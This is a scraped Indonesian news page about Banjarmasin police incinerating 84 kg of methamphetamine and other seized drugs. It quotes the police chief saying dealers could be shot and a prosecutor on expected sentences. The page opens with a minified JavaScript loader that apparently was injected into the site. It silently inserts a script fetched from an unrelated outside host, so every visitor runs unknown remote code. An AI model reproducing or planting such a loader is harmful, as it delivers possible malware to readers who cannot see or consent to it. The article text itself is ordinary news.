(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

84 Kg Sabu Tersangka Emon Dimusnahkan, Kapolres Banjarmasin: Bandar Bisa Kita Tembak!


KANALKALIMANTAN.COM,BANJARMASIN – Polisi memusnahkan 85,4 Kilogram (Kg) sabu, 29.996 butir ekstasi dan 27,8 gram ganja di Rumah Sakit Ansari Saleh Banjarmasin, Rabu (10/2/2021) pagi.

Kapolres Kota Banjarmasin Kombes Pol Rachmat Hendrawan didampingi Kasatresnarkoba, Kompol Wahyu Hidayat, mengatakan, barang bukti narkoba yang dimusnahkan merupakan periode pengungkapan dari Desember hingga Februari oleh Satresnarkoba Polresta Banjarmasin serta Polsek jajaran.

Dari hasil tangkapan itu, Polresta Banjarmasin serta Polsek jajaran turut mengamankan sebanyak 12 pelaku.

Adapun sabu yang dimusnahkan itu termasuk barang bukti hasil tangkapan terbesar Polresta Banjarmasin dari pelaku Hs alias Emon (26) pada pertengahan Desember lalu.

 

Kala itu, Satresnarkoba Polresta Banjarmasin berhasil meringkus Emon dengan sabu-sabu seberat 84 Kg dan 30.000 ekstasi. Narkoba itu dimusnahkan dengan cara dibakar menggunakan alat incinerator milik rumah sakit.

“Agar terbakar habis dan tak bersisa,” kata Kapolres Kota Banjarmasin.

Atas pemusnahan itu, Kapolresta mengklaim pihaknya berhasil menyelamatkan 1.310.963 jiwa dari bahaya narkoba. Kepada para bandar narkoba, Kapolresta menghimbau agar cepat-cepat bertaubat.

“Kita akan bertindak tegas. Kalau tidak bertaubat, bisa saja kita tembak. Daripada stres menjalani hukuman lebih baik ditembak,” tegasnya.

Kapolres Kota Banjarmasin juga meminta kepada warga Banjarmasin, terkhusus kawula muda agar terus menjaga diri dari narkoba.

Sementara itu, Kepala Kejaksaan Negeri Banjarmasin Tjakra Suyana Eka Putra mengatakan, para pelaku akan dituntut sesuai fakta persidangan serta jumlah barang bukti.

“Kalau barang bukti mencapai 10 kilogram itu kita tuntut pasti di atas 15 tahun,” katanya.

“Untuk yang 84 kilogram, kita lihat dulu fakta persidangannya seperti apa. Kalau dia memang mengetahui barang yang dibawanya artinya dia turut menyebarkan. Bisa kita tuntut seumur hidup,” pungkasnya. (kanalkalimantan.com/tius)

Reporter: tius
Editor : bie


Al Ghifari

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

8 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

9 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

9 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

10 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

10 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

13 jam ago

This website uses cookies.